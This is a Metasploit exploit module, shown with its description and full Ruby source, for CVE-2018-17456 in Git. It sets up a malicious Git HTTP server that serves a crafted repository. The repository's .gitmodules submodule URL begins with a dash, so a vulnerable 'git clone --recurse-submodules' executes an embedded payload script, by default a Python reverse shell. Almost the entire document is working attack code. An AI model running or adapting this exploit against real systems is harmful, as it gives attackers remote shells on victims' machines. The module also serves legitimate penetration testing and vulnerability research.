Malicious Git HTTP Server

This Metasploit module exploits CVE-2018-17456, which affects Git versions 2.14.5, 2.15.3, 2.16.5, 2.17.2, 2.18.1, and 2.19.1 and lower. When a submodule url which starts with a dash e.g "-u./payload" is passed as an argument to git clone, the file "payload" inside the repository is executed. This Metasploit module creates a fake git repository which contains a submodule containing the vulnerability. The vulnerability is triggered when the submodules are initialized.


MD5 | 4b1d60b3080ed9efc3a42b499a19be0f

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpServer
include Msf::Exploit::Git

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Malicious Git HTTP Server For CVE-2018-17456',
'Description' => %q(
This module exploits CVE-2018-17456, which affects Git
versions 2.14.5, 2.15.3, 2.16.5, 2.17.2, 2.18.1, and 2.19.1 and lower.

When a submodule url which starts with a dash e.g "-u./payload" is passed
as an argument to git clone, the file "payload" inside the repository
is executed.

This module creates a fake git repository which contains a submodule
containing the vulnerability. The vulnerability is triggered when the
submodules are initialised (e.g git clone --recurse-submodules URL)
),
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2018-17456'],
['URL', 'https://marc.info/?l=git&m=153875888916397&w=2' ],
['URL', 'https://gist.github.com/joernchen/38dd6400199a542bc9660ea563dcf2b6' ],
['URL', 'https://blog.github.com/2018-10-05-git-submodule-vulnerability' ],
],
'DisclosureDate' => 'Oct 05 2018',
'Targets' => [
['Automatic',
{
'Platform' => [ 'unix' ],
'Arch' => ARCH_CMD,
'Payload' => {'Compat' => {'PayloadType' => 'python'}}
}
]
],
'DefaultOptions' => {'Payload' => 'cmd/unix/reverse_python'},
'DefaultTarget' => 0
)
)

register_options(
[
OptString.new('GIT_URI', [false, 'The URI to use as the malicious Git instance (empty for random)', '']),
OptString.new('GIT_SUBMODULE', [false, 'The path to use as the malicious git submodule (empty for random)', ''])
]
)
end

def setup
@repo_data = {
git: { files: {} }
}
setup_git
super
end

def setup_git
# URI must start with a /
unless git_uri && git_uri.start_with?('/')
fail_with(Failure::BadConfig, 'GIT_URI must start with a /')
end

payload_content = "#!/bin/sh\n#{payload.raw} &"
payload_file = Rex::Text.rand_text_alpha(4..6)

submodule_path = datastore['GIT_SUBMODULE']
if submodule_path.blank?
submodule_path = Rex::Text.rand_text_alpha(2..6).downcase + ":" + Rex::Text.rand_text_alpha(2..6).downcase
end
unless submodule_path.include?":"
fail_with(Failure::BadConfig, 'GIT_SUBMODULE must contain a :')
end

gitmodules = "[submodule \"#{submodule_path}\"]
path = #{submodule_path}
url = -u./#{payload_file}
"

sha1, content = build_object('blob', gitmodules)
@repo_data[:git][:files]["/objects/#{get_path(sha1)}"] = content
payloadsha1, content = build_object('blob', payload_content)
@repo_data[:git][:files]["/objects/#{get_path(payloadsha1)}"] = content

tree = "100644 .gitmodules\0#{[sha1].pack('H*')}"
tree += "100744 #{payload_file}\0#{[payloadsha1].pack('H*')}"
tree += "160000 #{submodule_path}\0#{[sha1].pack('H*')}"
sha1, content = build_object('tree', tree)
@repo_data[:git][:files]["/objects/#{get_path(sha1)}"] = content

sha1, content = build_object('commit', "tree #{sha1}\n#{fake_commit_message}")
@repo_data[:git][:files]["/objects/#{get_path(sha1)}"] = content
@repo_data[:git][:files]['/HEAD'] = "ref: refs/heads/master\n"
@repo_data[:git][:files]['/info/refs'] = "#{sha1}\trefs/heads/master\n"
end

def primer
# add the git and mercurial URIs as necessary
hardcoded_uripath(git_uri)
git_url = URI.parse(get_uri).merge(git_uri)
print_status("Malicious Git URI is #{git_url}")
print_status("git clone --recurse-submodules #{git_url}")
end

# handles git clone
def on_request_uri(cli, req)
req_file = URI.parse(req.uri).path.gsub(/^#{git_uri}/, '')
if @repo_data[:git][:files].key?(req_file)
vprint_status("Sending Git #{req_file}")
send_response(cli, @repo_data[:git][:files][req_file])
else
vprint_status("Git #{req_file} doesn't exist")
send_not_found(cli)
end
end

# Returns the value of GIT_URI if not blank, otherwise returns a random .git URI
def git_uri
return @git_uri if @git_uri
if datastore['GIT_URI'].blank?
@git_uri = '/' + Rex::Text.rand_text_alpha(4..6).downcase + '.git'
else
@git_uri = datastore['GIT_URI']
end
end
end

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